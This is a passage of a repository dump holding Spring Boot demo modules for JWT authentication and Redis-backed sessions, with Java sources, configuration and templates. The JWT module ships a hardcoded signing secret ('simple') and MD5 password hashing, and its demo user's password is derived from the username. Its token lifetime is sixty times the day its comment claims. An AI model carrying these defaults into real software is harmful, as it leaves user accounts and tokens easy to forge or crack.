\"k.security.authenticate.failure\";\n\n    private MessageSourceAccessor messages = SpringSecurityMessageSource.getAccessor();\n\n    private static String buildExceptionMessageKey(AuthenticationException e) {\n        return AUTH_FAILURE_MESSAGES + \".\" + AuthenticationException.class.getSimpleName();\n    }\n\n    @Override\n    public void onAuthenticationFailure(HttpServletRequest request, HttpServletResponse response, AuthenticationException e) throws IOException, ServletException {\n        response.setStatus(HttpStatus.UNAUTHORIZED.value());\n        response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n\n        String defaultFailureMessage = messages.getMessage(AUTH_FAILURE_MESSAGES, \"Authentication failed\");\n        String exceptionMessage = messages.getMessage(buildExceptionMessageKey(e), defaultFailureMessage);\n\n        response.sendError(HttpServletResponse.SC_FORBIDDEN, exceptionMessage);\n    }\n\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        Assert.notNull(messages, \"The message accessor can't be null!\");\n    }\n\n    @Override\n    public void setMessageSource(MessageSource messageSource) {\n        this.messages = new MessageSourceAccessor(messageSource);\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/handler/SimpleAuthenticatingSuccessHandler.java",
    "content": "package org.simple.web.jwt.handler;\n\nimport com.fasterxml.jackson.annotation.JsonInclude;\nimport com.fasterxml.jackson.databind.ObjectMapper;\nimport org.simple.web.jwt.service.JwtService;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.security.core.Authentication;\nimport org.springframework.security.web.WebAttributes;\nimport org.springframework.security.web.authentication.AuthenticationSuccessHandler;\nimport org.springframework.stereotype.Component;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\nimport java.io.IOException;\nimport java.util.HashMap;\nimport java.util.Map;\n\n@Component\npublic class SimpleAuthenticatingSuccessHandler implements AuthenticationSuccessHandler {\n\n    private static ObjectMapper globalObjectMapper = new ObjectMapper();\n\n    @Autowired\n    private JwtService jwtService;\n\n    static {\n        globalObjectMapper.setSerializationInclusion(JsonInclude.Include.NON_NULL);\n    }\n\n    private Logger logger = LoggerFactory.getLogger(SimpleAuthenticatingSuccessHandler.class);\n\n    private static void clearAuthenticationAttributes(HttpServletRequest request) {\n        HttpSession session = request.getSession(false);\n        if (session == null) {\n            return;\n        }\n        session.removeAttribute(WebAttributes.AUTHENTICATION_EXCEPTION);\n    }\n\n    @Override\n    public void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response, Authentication authentication) throws IOException, ServletException {\n        Map<String, Object> result = new HashMap<>();\n        result.put(\"token\", jwtService.generateToken(authentication.getName()));\n        response.setStatus(HttpStatus.OK.value());\n        response.setContentType(MediaType.APPLICATION_JSON_VALUE);\n        globalObjectMapper.writeValue(response.getWriter(), result);\n        clearAuthenticationAttributes(request);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/property/JwtAuthFilterProperty.java",
    "content": "package org.simple.web.jwt.property;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * 项目名称：moguding-components\n * 类名称：JwtAuthFilterProperty\n * 类描述：JwtAuthFilterProperty\n * 创建时间：2018/4/23 9:46\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@Data\n@Configuration\n@ConfigurationProperties(prefix = \"jwt.filter\")\npublic class JwtAuthFilterProperty {\n\n    /**\n     * 请求header内的key\n     */\n    private String header = \"Authorization\";\n    /**\n     * 请求header内的key对应value 的默认开头\n     */\n    private String tokenHead = \"Bearer \";\n    /**\n     * 过滤路径\n     * 如 登录接口不需要走校验过滤器\n     */\n    private String exceptUrl = \"\";\n\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/property/JwtPayloadProperty.java",
    "content": "package org.simple.web.jwt.property;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * 项目名称：web-web-jwt\n * 类名称：JwtPayloadProperty\n * 类描述：JwtPayloadProperty jwt配置属性\n * 创建时间：2018/4/11 18:41\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@Data\n@Configuration\n@ConfigurationProperties(prefix = \"jwt.payload\")\npublic class JwtPayloadProperty {\n\n    /**\n     * 密钥\n     */\n    private String secret = \"simple\";\n    /**\n     * jwt签发者名称\n     */\n    private String issuer = \"simple-security-jwt\";\n    /**\n     * 接收jwt的一方\n     */\n    private String audience = \"foo\";\n    /**\n     * 过期时间 ( 分钟 )\n     * 默认是一天\n     */\n    private int expirationMinute = 24 * 60 * 60;\n    /**\n     * NotBefore ( 分钟 )\n     * 默认是15分钟\n     */\n    private int notBeforeMinute = 15;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/property/SimpleSecurityProperty.java",
    "content": "package org.simple.web.jwt.property;\n\nimport lombok.Data;\nimport org.simple.web.jwt.config.PasswordEncoderFactory;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * 项目名称：simple-security-all\n * 类名称：SimpleSecurityProperty\n * 类描述：SimpleSecurityProperty\n * 创建时间：2018/9/13\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@Data\n@Configuration\n@ConfigurationProperties(prefix = \"simple.security\")\npublic class SimpleSecurityProperty {\n\n    private String passwordEncoder = PasswordEncoderFactory.PWD_ENCODER_MD5;\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/java/org/simple/web/jwt/service/JwtService.java",
    "content": "package org.simple.web.jwt.service;\n\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.SignatureAlgorithm;\nimport org.simple.web.jwt.property.JwtAuthFilterProperty;\nimport org.simple.web.jwt.property.JwtPayloadProperty;\nimport org.simple.web.jwt.property.SimpleSecurityProperty;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Date;\n\n/**\n * 项目名称：simple-framework\n * 类名称：JWTService\n * 类描述：JWTService\n * 创建时间：2018/8/9\n *\n * @author jiangjunjie   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@Service\npublic class JwtService {\n\n    private Logger logger = LoggerFactory.getLogger(this.getClass());\n\n    @Autowired\n    private JwtPayloadProperty jwtPayloadProperty;\n\n    /**\n     * 从令牌中获取数据声明\n     *\n     * @param token 令牌\n     * @return 数据声明\n     */\n    private Claims getClaimsFromToken(String token) {\n        return Jwts.parser().setSigningKey(jwtPayloadProperty.getSecret()).parseClaimsJws(token).getBody();\n    }\n\n    /**\n     * 从令牌中获取认证的唯一标识\n     *\n     * @param token 令牌\n     * @return 用户id\n     */\n    public String getSubjectFromToken(String token) {\n        String username;\n        try {\n            Claims claims = getClaimsFromToken(token);\n            username = claims.getSubject();\n        } catch (Exception e) {\n            logger.error(\"\", e);\n            username = null;\n        }\n        return username;\n    }\n\n    /**\n     * 验证令牌是否时间有效\n     *\n     * @param token 令牌\n     * @return 是否有效\n     */\n    public Boolean validateToken(String token) {\n        try {\n            Claims claims = getClaimsFromToken(token);\n            Date expiration = claims.getExpiration();\n            Date notBefore = claims.getNotBefore();\n            return new Date().after(notBefore) && new Date().before(expiration);\n        } catch (Exception e) {\n            logger.error(\"\", e);\n            return false;\n        }\n    }\n\n    /**\n     * 生成令牌\n     *\n     * @param userId .\n     * @return .\n     */\n    public String generateToken(String userId) {\n        return Jwts.builder()\n                //jwt签发者\n                .setIssuer(jwtPayloadProperty.getIssuer())\n                // jwt所面向的用户\n                .setSubject(userId)\n                //接收jwt的一方\n                .setAudience(jwtPayloadProperty.getAudience())\n                .setExpiration(new Date(System.currentTimeMillis() + jwtPayloadProperty.getExpirationMinute() * 60 * 1000))\n                .setNotBefore(new Date(System.currentTimeMillis() - jwtPayloadProperty.getNotBeforeMinute() * 60 * 1000))\n                .setIssuedAt(new Date())\n                .signWith(SignatureAlgorithm.HS512, jwtPayloadProperty.getSecret())\n                .compact();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt/src/main/resources/application.properties",
    "content": ""
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt-demo/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>org.simple.security</groupId>\n    <artifactId>simple-security-jwt-demo</artifactId>\n    <version>1.0.0</version>\n\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.0.3.RELEASE</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.simple.security</groupId>\n            <artifactId>simple-security-jwt</artifactId>\n            <version>1.0.0</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n    </dependencies>\n\n\n</project>"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt-demo/src/main/java/org/simple/web/security/jwt/demo/DemoApplication.java",
    "content": "package org.simple.web.security.jwt.demo;\n\nimport org.simple.web.jwt.annotation.EnableWebSecurityJwt;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * 项目名称：web-security-jwt\n * 类名称：DemoApplication\n * 类描述：DemoApplication\n * 创建时间：2018/9/12\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@EnableWebSecurityJwt\n@SpringBootApplication\npublic class DemoApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(DemoApplication.class, args);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt-demo/src/main/java/org/simple/web/security/jwt/demo/controller/IndexController.java",
    "content": "package org.simple.web.security.jwt.demo.controller;\n\nimport org.simple.web.security.jwt.demo.entity.User;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.security.Principal;\n\n/**\n * 项目名称：web-security-jwt\n * 类名称：IndexController\n * 类描述：IndexController\n * 创建时间：2018/9/12\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@RequestMapping(\"/index\")\n@RestController\npublic class IndexController {\n\n    @RequestMapping(\"/index\")\n    public String index(Principal principal) {\n        return \"index\";\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt-demo/src/main/java/org/simple/web/security/jwt/demo/entity/User.java",
    "content": "package org.simple.web.security.jwt.demo.entity;\n\nimport org.springframework.security.core.GrantedAuthority;\nimport org.springframework.security.core.userdetails.UserDetails;\n\nimport java.util.ArrayList;\nimport java.util.Collection;\n\n/**\n * 项目名称：web-security-jwt\n * 类名称：User\n * 类描述：User\n * 创建时间：2018/9/13\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\npublic class User implements UserDetails {\n\n    private String username;\n\n    private String password;\n\n    public User(String username, String password) {\n        this.username = username;\n        this.password = password;\n    }\n\n    @Override\n    public Collection<? extends GrantedAuthority> getAuthorities() {\n        return new ArrayList<>();\n    }\n\n    @Override\n    public String getPassword() {\n        return password;\n    }\n\n    @Override\n    public String getUsername() {\n        return username;\n    }\n\n    @Override\n    public boolean isAccountNonExpired() {\n        return true;\n    }\n\n    @Override\n    public boolean isAccountNonLocked() {\n        return true;\n    }\n\n    @Override\n    public boolean isCredentialsNonExpired() {\n        return true;\n    }\n\n    @Override\n    public boolean isEnabled() {\n        return true;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt-demo/src/main/java/org/simple/web/security/jwt/demo/service/UserAuthService.java",
    "content": "package org.simple.web.security.jwt.demo.service;\n\nimport org.simple.web.security.jwt.demo.entity.User;\nimport org.springframework.security.core.userdetails.UserDetails;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.core.userdetails.UsernameNotFoundException;\nimport org.springframework.security.crypto.password.MessageDigestPasswordEncoder;\nimport org.springframework.stereotype.Component;\n\n/**\n * 项目名称：web-security-jwt\n * 类名称：UserAuthService\n * 类描述：UserAuthService\n * 创建时间：2018/9/13\n *\n * @author guihuo   (E-mail:1620657419@qq.com)\n * @version v1.0\n */\n@Component\npublic class UserAuthService implements UserDetailsService {\n\n    @Override\n    public UserDetails loadUserByUsername(String username) throws UsernameNotFoundException {\n        return new User(username, \"{md5}\" + new MessageDigestPasswordEncoder(\"MD5\").encode(username));\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_security2/simple-security-jwt-demo/src/main/resources/application.yml",
    "content": "jwt:\n  filter:\n    debug: true\nsimple:\n  security:\n    passwordEncoder: md5\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/README.md",
    "content": "# spring-boot-demo-session\n\n> 此 demo 主要演示了 Spring Boot 如何通过 Spring Session 实现Session共享、重启程序Session不失效。\n\n## pom.xml\n\n```xml\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <artifactId>spring-boot-demo-session</artifactId>\n    <version>1.0.0-SNAPSHOT</version>\n\n    <name>spring-boot-demo-session</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n        <artifactId>spring-boot-demo</artifactId>\n        <version>1.0.0-SNAPSHOT</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.session</groupId>\n            <artifactId>spring-session-data-redis</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n\n        <!-- 对象池，使用redis时必须引入 -->\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-pool2</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>spring-boot-demo-session</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n```\n\n## application.yml\n\n```yaml\nserver:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  session:\n    store-type: redis\n    redis:\n      flush-mode: immediate\n      namespace: \"spring:session\"\n  redis:\n    host: localhost\n    port: 6379\n    # 连接超时时间（记得添加单位，Duration）\n    timeout: 10000ms\n    # Redis默认情况下有16个分片，这里配置具体使用的分片\n    # database: 0\n    lettuce:\n      pool:\n        # 连接池最大连接数（使用负值表示没有限制） 默认 8\n        max-active: 8\n        # 连接池最大阻塞等待时间（使用负值表示没有限制） 默认 -1\n        max-wait: -1ms\n        # 连接池中的最大空闲连接 默认 8\n        max-idle: 8\n        # 连接池中的最小空闲连接 默认 0\n        min-idle: 0\n```\n\n## 测试\n\n> 测试 重启程序，Session 不失效的场景\n\n1. 打开浏览器，访问首页：http://localhost:8080/demo/page/index\n2. 最开始未登录，所以会跳转到登录页：http://localhost:8080/demo/page/login?redirect=true 然后点击登录按钮\n3. 登录之后，跳转回首页，此时可以看到首页显示token信息。\n4. 重启程序。不关闭浏览器，直接刷新首页，此时不跳转到登录页。测试成功！\n\n## 参考\n\n- Spring Session 官方文档：https://docs.spring.io/spring-session/docs/current/reference/html5/guides/boot-redis.html#updating-dependencies"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>springboot_session</artifactId>\n\t<version>1.0</version>\n\t<packaging>jar</packaging>\n\t\n    <name>springboot_session</name>\n    <description>Demo project for Spring Boot</description>\n\n    <parent>\n        <groupId>io.github.wujun728</groupId>\n\t\t<artifactId>jun_springboot_plugin</artifactId>\n\t\t<version>1.0</version>\n    </parent>\n\n    <properties>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n        <java.version>1.8</java.version>\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.session</groupId>\n            <artifactId>spring-session-data-redis</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n\n        <!-- 对象池，使用redis时必须引入 -->\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-pool2</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-thymeleaf</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <finalName>springboot_session</finalName>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/java/com/jun/plugin/session/SpringBootDemoSessionApplication.java",
    "content": "package com.jun.plugin.session;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n/**\n * <p>\n * 启动类\n * </p>\n *\n * @package: com.xkcoding.session\n * @description: 启动类\n * @author: yangkai.shen\n * @date: Created in 2018-12-19 19:35\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@SpringBootApplication\npublic class SpringBootDemoSessionApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(SpringBootDemoSessionApplication.class, args);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/java/com/jun/plugin/session/config/WebMvcConfig.java",
    "content": "package com.jun.plugin.session.config;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistration;\nimport org.springframework.web.servlet.config.annotation.InterceptorRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurer;\n\nimport com.jun.plugin.session.interceptor.SessionInterceptor;\n\n/**\n * <p>\n * WebMvc 配置类\n * </p>\n *\n * @package: com.xkcoding.session.config\n * @description: WebMvc 配置类\n * @author: yangkai.shen\n * @date: Created in 2018-12-19 19:50\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Configuration\npublic class WebMvcConfig implements WebMvcConfigurer {\n    @Autowired\n    private SessionInterceptor sessionInterceptor;\n\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        InterceptorRegistration sessionInterceptorRegistry = registry.addInterceptor(sessionInterceptor);\n        // 排除不需要拦截的路径\n        sessionInterceptorRegistry.excludePathPatterns(\"/page/login\");\n        sessionInterceptorRegistry.excludePathPatterns(\"/page/doLogin\");\n        sessionInterceptorRegistry.excludePathPatterns(\"/error\");\n\n        // 需要拦截的路径\n        sessionInterceptorRegistry.addPathPatterns(\"/**\");\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/java/com/jun/plugin/session/constants/Consts.java",
    "content": "package com.jun.plugin.session.constants;\n\n/**\n * <p>\n * 常量池\n * </p>\n *\n * @package: com.xkcoding.session.constants\n * @description: 常量池\n * @author: yangkai.shen\n * @date: Created in 2018-12-19 19:42\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\npublic interface Consts {\n    /**\n     * session保存的key\n     */\n    String SESSION_KEY = \"key:session:token\";\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/java/com/jun/plugin/session/controller/PageController.java",
    "content": "package com.jun.plugin.session.controller;\n\nimport cn.hutool.core.util.IdUtil;\nimport cn.hutool.core.util.ObjectUtil;\n\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\nimport com.jun.plugin.session.constants.Consts;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpSession;\n\n/**\n * <p>\n * 页面跳转 Controller\n * </p>\n *\n * @package: com.xkcoding.session.controller\n * @description: 页面跳转 Controller\n * @author: yangkai.shen\n * @date: Created in 2018-12-19 19:57\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Controller\n@RequestMapping(\"/page\")\npublic class PageController {\n    /**\n     * 跳转到 首页\n     *\n     * @param request 请求\n     */\n    @GetMapping(\"/index\")\n    public ModelAndView index(HttpServletRequest request) {\n        ModelAndView mv = new ModelAndView();\n\n        String token = (String) request.getSession().getAttribute(Consts.SESSION_KEY);\n        mv.setViewName(\"index\");\n        mv.addObject(\"token\", token);\n        return mv;\n    }\n\n    /**\n     * 跳转到 登录页\n     *\n     * @param redirect 是否是跳转回来的\n     */\n    @GetMapping(\"/login\")\n    public ModelAndView login(Boolean redirect) {\n        ModelAndView mv = new ModelAndView();\n\n        if (ObjectUtil.isNotNull(redirect) && ObjectUtil.equal(true, redirect)) {\n            mv.addObject(\"message\", \"请先登录！\");\n        }\n        mv.setViewName(\"login\");\n        return mv;\n    }\n\n    @GetMapping(\"/doLogin\")\n    public String doLogin(HttpSession session) {\n        session.setAttribute(Consts.SESSION_KEY, IdUtil.fastUUID());\n\n        return \"redirect:/page/index\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/java/com/jun/plugin/session/controller/SessionController.java",
    "content": "package com.jun.plugin.session.controller;\n\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PathVariable;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpSession;\n\n/**\n * <p>\n * session测试\n * </p>\n *\n * @author MrWen\n */\n@RestController\n@RequestMapping(\"/session\")\npublic class SessionController {\n\n    @GetMapping(\"/save/{message}\")\n    public String save(@PathVariable(\"message\") String message, HttpServletRequest request) {\n        HttpSession session = request.getSession();\n        session.setAttribute(\"test\", message);\n        return \"success\";\n    }\n\n\n    @GetMapping(\"/detail\")\n    public String detail(HttpServletRequest request) {\n        HttpSession session = request.getSession();\n        return (String) session.getAttribute(\"test\");\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/java/com/jun/plugin/session/interceptor/SessionInterceptor.java",
    "content": "package com.jun.plugin.session.interceptor;\n\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport com.jun.plugin.session.constants.Consts;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\n/**\n * <p>\n * 校验Session的拦截器\n * </p>\n *\n * @package: com.xkcoding.session.interceptor\n * @description: 校验Session的拦截器\n * @author: yangkai.shen\n * @date: Created in 2018-12-19 19:40\n * @copyright: Copyright (c) 2018\n * @version: V1.0\n * @modified: yangkai.shen\n */\n@Component\npublic class SessionInterceptor extends HandlerInterceptorAdapter {\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        HttpSession session = request.getSession();\n        if (session.getAttribute(Consts.SESSION_KEY) != null) {\n            return true;\n        }\n        // 跳转到登录页\n        String url = \"/page/login?redirect=true\";\n        response.sendRedirect(request.getContextPath() + url);\n        return false;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/resources/application.yml",
    "content": "server:\n  port: 8080\n  servlet:\n    context-path: /demo\nspring:\n  session:\n    store-type: redis\n    redis:\n      flush-mode: immediate\n      namespace: \"spring:session\"\n  redis:\n    host: localhost\n    port: 6379\n    # 连接超时时间（记得添加单位，Duration）\n    timeout: 10000ms\n    # Redis默认情况下有16个分片，这里配置具体使用的分片\n    # database: 0\n    lettuce:\n      pool:\n        # 连接池最大连接数（使用负值表示没有限制） 默认 8\n        max-active: 8\n        # 连接池最大阻塞等待时间（使用负值表示没有限制） 默认 -1\n        max-wait: -1ms\n        # 连接池中的最大空闲连接 默认 8\n        max-idle: 8\n        # 连接池中的最小空闲连接 默认 0\n        min-idle: 0"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/resources/templates/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>spring-boot-demo-session</title>\n</head>\n<body>\ntoken的值: <h1 th:text=\"${token}\"></h1>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/main/resources/templates/login.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>spring-boot-demo-session</title>\n</head>\n<body>\n<h1 th:text=\"${message}\" style=\"background-color: red\"></h1>\n\n<button><a th:href=\"@{'/page/doLogin'}\">登录</a></button>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_session/src/test/java/com/jun/plugin/session/SpringBootDemoSessionApplicationTests.java",
    "content": "package com.jun.plugin.session;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoSessionApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/.gitignore",
    "content": "# Created by .ignore support plugin (hsz.mobi)\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/README.md",
    "content": "## 技术  \nSpringBoot2.2.6.RELEASE + shardingsphere4.0.0-RC1 + Mybatis Plus3.4.0 + Maven  + MySQL + lombok(插件)\n\n默认库 + 分库分表"
  },
  {
    "path": "jun_springboot_plugin/springboot_shardingsphere-mybatisplus/doc/slave_user.sql",
